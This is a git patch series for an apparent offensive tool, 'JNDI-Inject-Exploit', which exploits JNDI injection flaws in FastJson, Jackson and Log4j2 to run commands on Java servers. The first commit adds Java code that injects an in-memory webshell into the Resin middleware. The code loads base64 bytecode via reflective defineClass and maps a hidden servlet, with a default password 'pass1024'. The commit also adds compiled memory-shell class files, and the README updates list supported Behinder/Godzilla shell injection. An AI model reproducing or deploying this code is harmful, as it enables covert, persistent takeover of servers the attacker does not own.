From d1dc6e42bf15da9d59429ee7bcaba4af2f09f0e8 Mon Sep 17 00:00:00 2001 From: SearchNull <43846937@qq.com> Date: Wed, 19 Jan 2022 11:50:10 +0800 Subject: [PATCH 1/3] add ShortMemShell and resin middleware --- src/main/java/io/github/exp1orer/StartUp.java | 17 +++--- .../io/github/exp1orer/util/MemoryShell.java | 50 +++++++++++++++++- src/main/resources/ResinMemShellServlet.class | Bin 0 -> 2428 bytes src/main/resources/ShortMemShellFilter.class | Bin 0 -> 8512 bytes src/main/resources/ShortMemShellServlet.class | Bin 0 -> 12135 bytes 5 files changed, 57 insertions(+), 10 deletions(-) create mode 100644 src/main/resources/ResinMemShellServlet.class create mode 100644 src/main/resources/ShortMemShellFilter.class create mode 100644 src/main/resources/ShortMemShellServlet.class diff --git a/src/main/java/io/github/exp1orer/StartUp.java b/src/main/java/io/github/exp1orer/StartUp.java index 0ec2b09..f08b24d 100644 --- a/src/main/java/io/github/exp1orer/StartUp.java +++ b/src/main/java/io/github/exp1orer/StartUp.java @@ -89,12 +89,15 @@ public class StartUp { String[] proxies = options.get("proxy").split(":", 2); proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1]))); } - memoryShell.add("BehinderFilter"); - memoryShell.add("BehinderServlet"); - memoryShell.add("GodzillaFilter"); - memoryShell.add("GodzillaServlet"); - memoryShell.add("NeoreGeorgFilter"); - memoryShell.add("NeoreGeorgServlet"); + memoryShell.add("TomcatBehinderFilter"); + memoryShell.add("TomcatBehinderServlet"); + memoryShell.add("TomcatGodzillaFilter"); + memoryShell.add("TomcatGodzillaServlet"); + memoryShell.add("TomcatNeoreGeorgFilter"); + memoryShell.add("TomcatNeoreGeorgServlet"); + memoryShell.add("TomcatShortMemShellFilter"); + memoryShell.add("TomcatShortMemShellServlet"); + memoryShell.add("ResinShortMemShellServlet"); try { Class.forName("io.github.exp1orer.util.Config"); @@ -283,7 +286,6 @@ public class StartUp { * @author: SearchNull */ private static boolean checkCommandEcho() { - String line; String respContent; String uuid = UUID.randomUUID().toString(); String command = "echo " + uuid; @@ -338,7 +340,6 @@ public class StartUp { * @author: SearchNull */ private static boolean runCommand(int index, String command) { - String line; String respContent; if (headers == null) { headers = new HashMap(); diff --git a/src/main/java/io/github/exp1orer/util/MemoryShell.java b/src/main/java/io/github/exp1orer/util/MemoryShell.java index 05bb5e6..95407ac 100644 --- a/src/main/java/io/github/exp1orer/util/MemoryShell.java +++ b/src/main/java/io/github/exp1orer/util/MemoryShell.java @@ -8,6 +8,7 @@ import java.util.Base64; public class MemoryShell { private static MemoryShell instance = new MemoryShell(); + private static String className = ""; private MemoryShell() {} @@ -20,7 +21,11 @@ public class MemoryShell { return ""; } - return instance.tomcatMemoryShell(name + ".class"); + if ("ResinMemShellServlet".equals(name)) { + return instance.resinMemoryShell(name); + } else { + return instance.tomcatMemoryShell(name + ".class"); + } } @@ -90,6 +95,46 @@ public class MemoryShell { return code; } + private String resinMemoryShell(String name) { + String payload = renameClass("User", name + ".class"); + String code = String.format("try {\n" + + " Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" + + " java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" + + " javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" + + " com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" + + " javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" + + " java.io.PrintWriter out = rep.getWriter();" + + " javax.servlet.http.HttpSession session = req.getSession();\n" + + " String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" + + " String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" + + "\n" + + " java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" + + " Object web =getServletContext.invoke(contextRequest);\n" + + "\n" + + " com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" + + "\n" + + " com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" + + "\n" + + " String s1=\"%s\";" + + " byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" + + "\n" + + " java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" + + " m.setAccessible(true);\n" + + " m.setAccessible(true);\n" + + " m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" + + " session.setAttribute(\"u\", pwd);\n" + + " smapping.setServletClass(\"%s\");\n" + + " smapping.setServletName(\"%s\");\n" + + " smapping.addURLPattern(path);\n" + + " web1.addServletMapping(smapping);\n" + + " out.println(\"->|Success|<-\");" + + "} catch (Exception e) {\n" + + " e.printStackTrace();\n" + + "}", payload, className, className, className); + + return code; + } + private String renameClass(String prefix, String resourceName) { String bytecodes = ""; ClassPool pool = ClassPool.getDefault(); @@ -100,7 +145,8 @@ public class MemoryShell { try { CtClass ctClass = pool.makeClass(is); - ctClass.setName(prefix + System.nanoTime()); + className = prefix + System.nanoTime(); + ctClass.setName(className); byte[] bytes = ctClass.toBytecode(); bytecodes = Base64.getEncoder().encodeToString(bytes); } catch (IOException | CannotCompileException e) { diff --git a/src/main/resources/ResinMemShellServlet.class b/src/main/resources/ResinMemShellServlet.class new file mode 100644 index 0000000000000000000000000000000000000000..910e691feba37c80b35b666f0ed11fa0a9eafb64 GIT binary patch literal 2428 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 aCLBue`(zF9>AP|bzExVra;@6wAN(KAhvmZn literal 0 HcmV?d00001 diff --git a/src/main/resources/ShortMemShellServlet.class b/src/main/resources/ShortMemShellServlet.class new file mode 100644 index 0000000000000000000000000000000000000000..3278d5303662844be20c40e781b75c6f75107387 GIT binary patch literal 12135 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 Date: Wed, 19 Jan 2022 14:50:10 +0800 Subject: [PATCH 2/3] Update README.md --- README.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3de2402..4d7196b 100644 --- a/README.md +++ b/README.md @@ -6,6 +6,13 @@ > > Solve the high version of JDK Bypass, like FastJson, Jackson, Log4j2, native JNDI injection vulnerabilities, and detect locally available deserialization gadgets to achieve command execution, echo command execution, and memory shell injection +## Support + +- 本地gadget探测 +- 回显命令执行 +- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马 +- Tomcat/Resin 一句话内存马 + ## Usage ```shell @@ -92,7 +99,7 @@ java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168 ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png) -**可利用Gadget信息，如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行，如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马** +**可利用Gadget信息，如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行，如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马（支持该功能不代表一定能够注入成功）** ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png) From 4c0f310c8ed2ccba1c8715509aca00410bf06467 Mon Sep 17 00:00:00 2001 From: SearchNull <43846937@qq.com> Date: Wed, 19 Jan 2022 15:08:35 +0800 Subject: [PATCH 3/3] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 4d7196b..ec9834a 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,12 @@ - Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马 - Tomcat/Resin 一句话内存马 +## Test + +漏洞环境请转至 v0.3 Version Releases处下载，运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务，访问首页的超链接后的id参数中存在 `Log4j2`漏洞。 + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20220119150756.png) + ## Usage ```shell